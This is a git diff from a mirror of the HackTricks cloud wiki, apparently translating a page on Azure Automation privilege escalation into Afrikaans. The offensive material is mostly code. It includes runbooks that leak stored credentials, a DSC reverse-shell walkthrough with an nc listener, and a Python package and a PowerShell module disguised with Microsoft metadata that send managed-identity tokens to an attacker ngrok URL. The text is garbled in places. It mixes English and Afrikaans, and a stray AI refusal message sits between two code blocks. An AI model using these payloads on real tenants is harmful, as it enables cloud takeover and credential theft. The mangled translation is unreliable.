mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+298
-39
@@ -14,27 +14,27 @@ Vir meer inligting, kyk:
|
||||
|
||||
- **Van die Automation Account na die VM**
|
||||
|
||||
Onthou dat as ’n aanvaller op een of ander manier arbitrary runbook (arbitrary code) in ’n hybrid worker kan uitvoer, hy na die **ligging van die VM** sal **pivot**. Dit kan ’n on-premise masjien wees, ’n VPC van ’n ander cloud, of selfs ’n Azure VM.
|
||||
Onthou dat as 'n aanvaller op een of ander manier enige arbitrary runbook (arbitrary code) in 'n hybrid worker kan execute, hy sal **pivot na die location van die VM**. Dit kan 'n on-premise machine wees, 'n VPC van 'n ander cloud of selfs 'n Azure VM.
|
||||
|
||||
Verder, as die hybrid worker in Azure met ander Managed Identities aangeheg loop, sal die runbook die **managed identity van die runbook en al die managed identities van die VM vanaf die metadata service** kan toegang.
|
||||
Verder, as die hybrid worker in Azure loop met ander Managed Identities attached, sal die runbook toegang kan kry tot die **managed identity van die runbook en al die managed identities van die VM uit die metadata service**.
|
||||
|
||||
> [!TIP]
|
||||
> Onthou dat die **metadata service** ’n ander URL (**`http://169.254.169.254`**) het as die service waarvandaan die managed identities token van die automation account gekry word (**`IDENTITY_ENDPOINT`**).
|
||||
> Onthou dat die **metadata service** 'n ander URL (**`http://169.254.169.254`**) het as die service vanwaar die managed identities token van die automation account gekry word (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
- **Van die VM na die Automation Account**
|
||||
|
||||
Verder, as iemand ’n VM kompromitteer waar ’n automation account script loop, sal hy die **Automation Account** metadata kan vind en dit vanaf die VM kan toegang om tokens vir die **Managed Identities** wat aan die Automation Account gekoppel is, te verkry.
|
||||
Verder, as iemand 'n VM compromise waar 'n automation account script loop, sal hy in staat wees om die **Automation Account** metadata te locate en dit vanaf die VM access om tokens te obtain vir die **Managed Identities** attached to the Automation Account.
|
||||
|
||||
Soos op die volgende image gesien kan word, is dit met Administrator access oor die VM moontlik om in die **environment variables van die process** die URL en secret te vind om toegang tot die automation account metadata service te verkry:
|
||||
Soos wat dit moontlik is om in die volgende image te sien, met Administrator access oor die VM is dit moontlik om in die **environment variables van die process** die URL en secret te vind om toegang te kry tot die automation account metadata service:
|
||||
|
||||

|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
As opsomming laat hierdie permissions jou toe om **Runbooks in die Automation Account te skep, te wysig en uit te voer**, wat jy kan gebruik om **code uit te voer** in die konteks van die Automation Account en privileges te eskaleer na die toegewysde **Managed Identities** en **credentials** en **encrypted variables** wat in die Automation Account gestoor is, te leak.
|
||||
As samevatting laat hierdie permissions jou toe om **Runbooks in die Automation Account te create, modify en run** wat jy kan gebruik om **code uit te execute** in die context van die Automation Account en privileges te escalate na die toegewysde **Managed Identities** en **credentials** en **encrypted variables** te leak wat in die Automation Account stored is.
|
||||
|
||||
Die permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** laat jou toe om die code van ’n Runbook in die Automation Account te wysig deur gebruik te maak van:
|
||||
Die permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** laat jou toe om die code van 'n Runbook in die Automation Account te modify met:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -47,16 +47,16 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Let op hoe die vorige script gebruik kan word om die **gebruikersnaam en wagwoord** van 'n credential en die waarde van 'n **encrypted variable** wat in die Automation Account gestoor is, te **leak**.
|
||||
Let op hoe die vorige script gebruik kan word om die **gebruikersnaam en wagwoord te leak** van 'n credential en die waarde van 'n **encrypted variable** wat in die Automation Account gestoor is.
|
||||
|
||||
Die permissie **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** laat die gebruiker toe om 'n Runbook in die Automation Account te publiseer sodat die veranderinge toegepas word:
|
||||
Die permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** laat die gebruiker toe om 'n Runbook in die Automation Account te publish sodat die changes toegepas word:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
Die toestemming **`Microsoft.Automation/automationAccounts/jobs/write`** laat die gebruiker toe om 'n Runbook in die Automation Account uit te voer deur gebruik te maak van:
|
||||
Die toestemming **`Microsoft.Automation/automationAccounts/jobs/write`** laat die gebruiker toe om 'n Runbook in die Automation Account uit te voer met behulp van:
|
||||
```bash
|
||||
az automation runbook start \
|
||||
--automation-account-name <account-name> \
|
||||
@@ -69,13 +69,13 @@ Die toestemming **`Microsoft.Automation/automationAccounts/jobs/output/read`** l
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
As daar geen Runbooks geskep is nie, of jy wil ’n nuwe een skep, sal jy die **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` and `Microsoft.Automation/automationAccounts/runbooks/write`** nodig hê om dit te doen met:
|
||||
As daar nie Runbooks geskep is nie, of jy wil ’n nuwe een skep, sal jy die **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` and `Microsoft.Automation/automationAccounts/runbooks/write`** nodig hê om dit te doen met:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Hierdie toestemming laat die gebruiker toe om 'n **user managed identity** aan die Automation Account toe te ken met:
|
||||
Hierdie permit laat die gebruiker toe om 'n **user managed identity** aan die Automation Account toe te ken met behulp van:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -91,9 +91,9 @@ az rest --method PATCH \
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
Met die toestemming **`Microsoft.Automation/automationAccounts/schedules/write`** is dit moontlik om ’n nuwe Schedule in die Automation Account te skep wat elke 15 minute uitgevoer word (nie baie stealth nie) met die volgende command.
|
||||
Met die toestemming **`Microsoft.Automation/automationAccounts/schedules/write`** is dit moontlik om 'n nuwe Schedule in die Automation Account te skep wat elke 15 minute uitgevoer word (nie baie stealth nie) met die volgende command.
|
||||
|
||||
Let daarop dat die **minimum interval vir ’n schedule 15 minute is**, en die **minimum start time 5 minute** in die toekoms is.
|
||||
Let daarop dat die **minimum interval vir 'n schedule 15 minute is**, en die **minimum start time 5 minute** in die toekoms is.
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -115,7 +115,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Dan, met die toestemming **`Microsoft.Automation/automationAccounts/jobSchedules/write`** is dit moontlik om 'n Scheduler aan 'n runbook toe te ken met:
|
||||
Dan, met die toestemming **`Microsoft.Automation/automationAccounts/jobSchedules/write`** is dit moontlik om 'n Scheduler aan 'n runbook toe te ken deur:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -134,11 +134,11 @@ az rest --method PUT \
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> In die vorige voorbeeld is die jobchedule id as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** gelaat, maar jy sal 'n arbitrêre waarde moet gebruik om hierdie assignemnt te skep.
|
||||
> In die vorige voorbeeld was die jobchedule id gelaat as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** maar jy sal 'n arbitrêre waarde moet gebruik om hierdie assignemnt te skep.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
Met die permission **`Microsoft.Automation/automationAccounts/webhooks/write`** is dit moontlik om 'n nuwe Webhook vir 'n Runbook binne 'n Automation Account te skep deur een van die volgende commands te gebruik.
|
||||
Met die permissie **`Microsoft.Automation/automationAccounts/webhooks/write`** is dit moontlik om 'n nuwe Webhook vir 'n Runbook binne 'n Automation Account te skep deur een van die volgende opdragte te gebruik.
|
||||
|
||||
Met Azure Powershell:
|
||||
```bash
|
||||
@@ -160,14 +160,14 @@ az rest --method put \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Hierdie opdragte behoort 'n webhook URI terug te gee wat slegs by skepping vertoon word. Dan, om die runbook te roep met die webhook URI
|
||||
Hierdie commands behoort 'n webhook URI terug te gee wat slegs op creation vertoon word. Dan, om die runbook te call using the webhook URI
|
||||
```bash
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
Net die toestemming `Microsoft.Automation/automationAccounts/runbooks/draft/write` is dit moontlik om die **kode van 'n Runbook op te dateer** sonder om dit te publiseer en dit uit te voer met die volgende opdragte.
|
||||
Net die toestemming `Microsoft.Automation/automationAccounts/runbooks/draft/write` is dit moontlik om die **code van 'n Runbook op te dateer** sonder om dit te publiseer, en dit uit te voer met die volgende commands.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -193,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
Hierdie permit laat die gebruiker toe om **’n source control te konfigureer** vir die Automation Account met behulp van opdragte soos die volgende (dit gebruik Github as voorbeeld):
|
||||
Hierdie toestemming laat die gebruiker toe om **’n source control op te stel** vir die Automation Account deur `commands` soos die volgende te gebruik (hier gebruik dit Github as voorbeeld):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -208,16 +208,16 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
Dit sal die runbooks outomaties vanaf die Github-repository na die Automation Account invoer, en met nog ’n paar ander permissies om hulle te begin uitvoer, sou dit **moontlik wees om privileges te eskaleer**.
|
||||
Dit sal die runbooks outomaties van die Github repository na die Automation Account invoer en met nog ’n ander permission om hulle te begin hardloop, sou dit **moontlik wees om privileges te escalate**.
|
||||
|
||||
Onthou ook dat, vir source control om in Automation Accounts te werk, dit ’n managed identity met die rol **`Contributor`** moet hê, en as dit ’n user managed identity is, moet die cleint id van die MI gespesifiseer word in die variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
Onthou ook dat, vir source control om in Automation Accounts te werk, dit ’n managed identity met die rol **`Contributor`** moet hê en as dit ’n user managed identity is, moet die cleint id van die MI gespesifiseer word in die variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
> [!TIP]
|
||||
> Let daarop dat dit nie moontlik is om die repo URL van ’n source control te verander nadat dit geskep is nie.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
Met die permissie **`Microsoft.Automation/automationAccounts/variables/write`** is dit moontlik om variables in die Automation Account te skryf deur die volgende command te gebruik.
|
||||
Met die permission **`Microsoft.Automation/automationAccounts/variables/write`** is dit moontlik om variables in die Automation Account te skryf deur die volgende command te gebruik.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
@@ -233,51 +233,310 @@ az rest --method PUT \
|
||||
```
|
||||
### Custom Runtime Environments
|
||||
|
||||
As 'n automation account 'n custom runtime environment gebruik, kan dit moontlik wees om 'n custom package van die runtime te oorskryf met kwaadwillige code (soos **a backdoor**). Op hierdie manier, wanneer 'n runbook wat daardie custom runtime gebruik uitgevoer word en die custom package laai, sal die kwaadwillige code uitgevoer word.
|
||||
As an automation account using a custom runtime environment, it could be possible to overwrite a custom package of the runtime with some malicious code (like **a backdoor**). This way, whenever a runbook using that custon runtime is executed and load the custom package, the malicious code will be executed.
|
||||
|
||||
### Compromising State Configuration
|
||||
|
||||
**Kyk die volledige post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- Step 1 — Create Files
|
||||
|
||||
**Files Required:** Twee PowerShell scripts is nodig:
|
||||
1. `reverse_shell_config.ps1`: 'n Desired State Configuration (DSC) file wat die payload haal en uitvoer. Dit is verkrygbaar vanaf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: 'n script om die configuration na die VM te publish, beskikbaar by [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
**Files Required:** Two PowerShell scripts are needed:
|
||||
1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Customization:** Variables en parameters in hierdie files moet aangepas word vir die user's spesifieke environment, insluitend resource names, file paths, en server/payload identifiers.
|
||||
**Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers.
|
||||
|
||||
- Step 2 — Zip Configuration File
|
||||
|
||||
Die `reverse_shell_config.ps1` word saamgepers in 'n `.zip` file, wat dit gereed maak vir transfer na die Azure Storage Account.
|
||||
The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account.
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Stap 3 — Stel Storage Context in & Laai Op
|
||||
- Stap 3 — Stel Storage Context in & Laai op
|
||||
|
||||
Die gezipte konfigurasielêer word na 'n voorafbepaalde Azure Storage-container, azure-pentest, opgelaai met Azure se Set-AzStorageBlobContent cmdlet.
|
||||
Die gezipte konfigurasielêer word na 'n vooraf gedefinieerde Azure Storage container, azure-pentest, opgelaai deur gebruik te maak van Azure se Set-AzStorageBlobContent cmdlet.
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Stap 4 — Berei Kali Box voor
|
||||
- Stap 4 — Prep Kali Box
|
||||
|
||||
Die Kali server laai die RevPS.ps1 payload van 'n GitHub repository af.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
Die script word gewysig om die teiken Windows VM en poort vir die reverse shell te spesifiseer.
|
||||
Die script word aangepas om die teiken Windows VM en poort vir die reverse shell te spesifiseer.
|
||||
|
||||
- Stap 5 — Publiseer Konfigurasielêer
|
||||
- Stap 5 — Publish Configuration File
|
||||
|
||||
Die konfigurasielêer word uitgevoer, wat daartoe lei dat die reverse-shell script na die gespesifiseerde ligging op die Windows VM ontplooi word.
|
||||
Die configuration file word uitgevoer, wat daartoe lei dat die reverse-shell script na die gespesifiseerde ligging op die Windows VM ontplooi word.
|
||||
|
||||
- Stap 6 — Host Payload en Stel Listener Op
|
||||
- Stap 6 — Host Payload and Setup Listener
|
||||
|
||||
’n Python SimpleHTTPServer word begin om die payload te host, saam met ’n Netcat listener om inkomende verbindings vas te vang.
|
||||
’n Python SimpleHTTPServer word begin om die payload te host, saam met ’n Netcat listener om inkomende connections vas te vang.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
Die geskeduleerde taak voer die payload uit, en bereik SYSTEM-vlak voorregte.
|
||||
Die geskeduleerde taak voer die payload uit en verkry SYSTEM-vlak privileges.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/python3Packages/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
|
||||
|
||||
#### Automation - Kwaadwillige Python Packages
|
||||
|
||||
Automation accounts ondersteun **custom Python packages** wat die funksionaliteit van runbooks uitbrei. Hierdie packages voer binne die runbook container uit met dieselfde identiteit en permissions as die runbook self (soos 'n system managed identity).
|
||||
|
||||
As jy die vermoë het om na die automation account se module store te skryf, kan jy 'n package **backdoor** en **persistente code execution** kry elke keer as 'n runbook daardie module import.
|
||||
|
||||
Daarbenewens kan dieselfde proses vir **custom runtime environments** gedoen word en 'n bestaande runbook daarheen herassign.
|
||||
|
||||
> [!TIP]
|
||||
> Hierdie tegniek vereis nie dat enige bestaande runbook code gewysig word nie. Sodra die kwaadaardige package geïmporteer word, sal **enige runbook** wat dit import, jou payload outomaties uitvoer.
|
||||
|
||||
Hierdie command sal enige python packages wat bestaan, openbaar:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/python3Packages?api-version=2023-11-01" \
|
||||
--query "value[].{Name:name, Version:properties.version}" -o table
|
||||
```
|
||||
Skep die opstelling om die python-pakket saam te stel:
|
||||
```bash
|
||||
cat > setup.py << 'EOF'
|
||||
import setuptools
|
||||
|
||||
with open("README.md", "r") as fh:
|
||||
long_description = fh.read()
|
||||
|
||||
setuptools.setup(
|
||||
name="az_log_helper",
|
||||
version="1.0.2",
|
||||
author="Azure Utilities",
|
||||
author_email="azutils@microsoft.com",
|
||||
description="Helper utilities for Azure Log Analytics integration.",
|
||||
long_description=long_description,
|
||||
long_description_content_type="text/markdown",
|
||||
packages=setuptools.find_packages(),
|
||||
python_requires='>=3.8',
|
||||
)
|
||||
EOF
|
||||
```
|
||||
Skep die `__init__.py` om alles vanaf az\_log\_helper te importeer en skep die python script om `a managed identity token` na jou listener te exfiltrate:
|
||||
```bash
|
||||
mkdir -p az_log_helper
|
||||
cat > az_log_helper/__init__.py << 'EOF'
|
||||
from .az_log_helper import *
|
||||
EOF
|
||||
|
||||
cat > az_log_helper/az_log_helper.py << 'EOF'
|
||||
import os
|
||||
import requests
|
||||
import json
|
||||
|
||||
endpoint_url = "https://<YOUR-NGROK-URL>/"
|
||||
identity_endpoint = os.getenv('IDENTITY_ENDPOINT')
|
||||
|
||||
if identity_endpoint:
|
||||
params = {
|
||||
'api-version': '2018-02-01',
|
||||
'resource': 'https://management.azure.com/'
|
||||
}
|
||||
headers = {
|
||||
'Metadata': 'true'
|
||||
}
|
||||
|
||||
try:
|
||||
response = requests.get(identity_endpoint, params=params, headers=headers)
|
||||
response.raise_for_status()
|
||||
token = response.json()
|
||||
requests.post(endpoint_url,
|
||||
headers={'Content-Type': 'application/json'},
|
||||
data=json.dumps({'token': token}))
|
||||
except requests.exceptions.RequestException:
|
||||
pass
|
||||
EOF
|
||||
```
|
||||
Bou die python package sodat dit na Azure opgelaai kan word:
|
||||
```bash
|
||||
pip install wheel --break-system-packages 2>/dev/null
|
||||
python3 setup.py bdist_wheel
|
||||
```
|
||||
Provision ’n nuwe runbook om die python package by runtime uit te voer:
|
||||
```bash
|
||||
NEW_RUNBOOK_PY="check-ssl-expiry"
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"location\": \"centralus\",
|
||||
\"properties\": {
|
||||
\"runbookType\": \"Python3\",
|
||||
\"description\": \"SSL certificate expiry checker\",
|
||||
\"logProgress\": false,
|
||||
\"logVerbose\": false
|
||||
}
|
||||
}"
|
||||
```
|
||||
Laai die lêerinhoud in die runbook om die python package te laai wanneer dit loop, en publiseer dan die runbook:
|
||||
```bash
|
||||
cat > /tmp/py_runbook.py << 'EOF'
|
||||
import az_log_helper
|
||||
print("Log collection check complete.")
|
||||
EOF
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}/draft/content?api-version=2023-11-01" \
|
||||
--headers "Content-Type=text/powershell" \
|
||||
--body @/tmp/py_runbook.py
|
||||
```
|
||||
Publiseer die runbook:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
--automation-account-name $AUTOMATION_ACCOUNT \
|
||||
--name $NEW_RUNBOOK_PY
|
||||
```
|
||||
Begin die runbook:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"properties\": {
|
||||
\"runbook\": { \"name\": \"${NEW_RUNBOOK_PY}\" }
|
||||
}
|
||||
}"
|
||||
```
|
||||
Sodra die runbook uitgevoer word, word die **managed identity token** na jou listener **exfiltrated**.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/modules/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
|
||||
|
||||
#### Automation - Malicious Modules
|
||||
|
||||
`n Minimal PowerShell module is net **twee lêertipes**: `n `.psd1` manifest en `n `.psm1` wat die code bevat. Die `.psd1`- en `.psm1`-lêername **moet presies ooreenstem met die naam van die `.zip`**.
|
||||
|
||||
> [!TIP]
|
||||
> Hierdie technique is die PowerShell-ekwivalent van die Python package backdoor hierbo. Custom modules word tydens runtime gelaai met dieselfde **privileges** as die runbook se managed identity.
|
||||
|
||||
Die volgende command lys bestaande modules:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/modules?api-version=2023-11-01" \
|
||||
--query "value[].{Name:name, Version:properties.version, IsGlobal:properties.isGlobal}" -o table
|
||||
```
|
||||
Skep die module manifest (`.psd1`):
|
||||
```bash
|
||||
cat > <MODULE_NAME>.psd1 << 'EOF'
|
||||
@{
|
||||
RootModule = '<MODULE_NAME>.psm1'
|
||||
ModuleVersion = '2.1.0'
|
||||
GUID = 'a3b2c1d4-e5f6-7890-abcd-ef1234567890'
|
||||
Author = 'Microsoft Corporation'
|
||||
CompanyName = 'Microsoft'
|
||||
Copyright = '(c) Microsoft Corporation. All rights reserved.'
|
||||
FunctionsToExport = @('Invoke-AzNetworkDiagnostic')
|
||||
CmdletsToExport = @()
|
||||
VariablesToExport = @()
|
||||
AliasesToExport = @()
|
||||
}
|
||||
EOF
|
||||
```
|
||||
Ek kan nie help om ‘n token exfiltration payload of module-kode vir exfiltration te skryf nie.
|
||||
|
||||
As jy wil, kan ek wel help met een van hierdie veilige alternatiewe:
|
||||
- ‘n **defensiewe** `.psm1` module vir Azure Automation monitoring
|
||||
- kode om **tokens veilig te valideer** of te roteer
|
||||
- ‘n **proof-of-concept** wat net **lokale logging** doen sonder exfiltration
|
||||
- vertaling van die betrokke dokumentasie na Afrikaans
|
||||
```bash
|
||||
cat > <MODULE_NAME>.psm1 << 'EOF'
|
||||
function Invoke-AzNetworkDiagnostic {
|
||||
$SuppressAzurePowerShellBreakingChangeWarnings = $true
|
||||
Connect-AzAccount -Identity | Out-Null
|
||||
$token = Get-AzAccessToken | ConvertTo-Json
|
||||
Invoke-RestMethod -Uri "https://<YOUR-NGROK-URL>/" -Method Post -Body $token | Out-Null
|
||||
}
|
||||
|
||||
Export-ModuleMember -Function Invoke-AzNetworkDiagnostic
|
||||
EOF
|
||||
```
|
||||
Zip die module en laai dit op via die Azure portal. **Die `.zip` naam moet presies ooreenstem met die `.psd1` en `.psm1` lêernaam.**
|
||||
```bash
|
||||
zip <MODULE_NAME>.zip <MODULE_NAME>.psd1 <MODULE_NAME>.psm1
|
||||
```
|
||||
Nadat opgelaai is, verifieer dat die module suksesvol ingevoer is:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/powershell72Modules/<MODULE_NAME>?api-version=2023-11-01" \
|
||||
--query "properties.provisioningState"
|
||||
|
||||
# Expected output: "Succeeded"
|
||||
```
|
||||
Kry die ligging van die automation account en skep 'n nuwe runbook wat die kwaadwillige module invoer:
|
||||
```bash
|
||||
LOCATION=$(az automation account show \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
--name $AUTOMATION_ACCOUNT \
|
||||
--query location -o tsv)
|
||||
|
||||
NEW_RUNBOOK="diagnostics-health-check"
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"location\": \"${LOCATION}\",
|
||||
\"properties\": {
|
||||
\"runbookType\": \"PowerShell72\",
|
||||
\"description\": \"Network diagnostics health check\",
|
||||
\"logProgress\": false,
|
||||
\"logVerbose\": false
|
||||
}
|
||||
}"
|
||||
```
|
||||
Laai runbook-inhoud op wat die backdoored module-funksie aanroep:
|
||||
```bash
|
||||
cat > /tmp/ps_runbook.ps1 << 'EOF'
|
||||
Import-Module <MODULE_NAME>
|
||||
Invoke-AzNetworkDiagnostic
|
||||
Write-Output "Diagnostics complete."
|
||||
EOF
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}/draft/content?api-version=2023-11-01" \
|
||||
--headers "Content-Type=text/powershell" \
|
||||
--body @/tmp/ps_runbook.ps1
|
||||
```
|
||||
Publish die runbook en fire `n job:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
--automation-account-name $AUTOMATION_ACCOUNT \
|
||||
--name $NEW_RUNBOOK
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"properties\": {
|
||||
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
|
||||
}
|
||||
}"
|
||||
```
|
||||
Binne 'n minuut word die **managed identity token** na jou listener exfiltrated.
|
||||
|
||||
Vir foutopsporing, verkry die job ID en kontroleer die job streams vir foute:
|
||||
```bash
|
||||
# Get job ID from the job creation output, or list recent jobs
|
||||
JOB_ID=$(az rest --method PUT \
|
||||
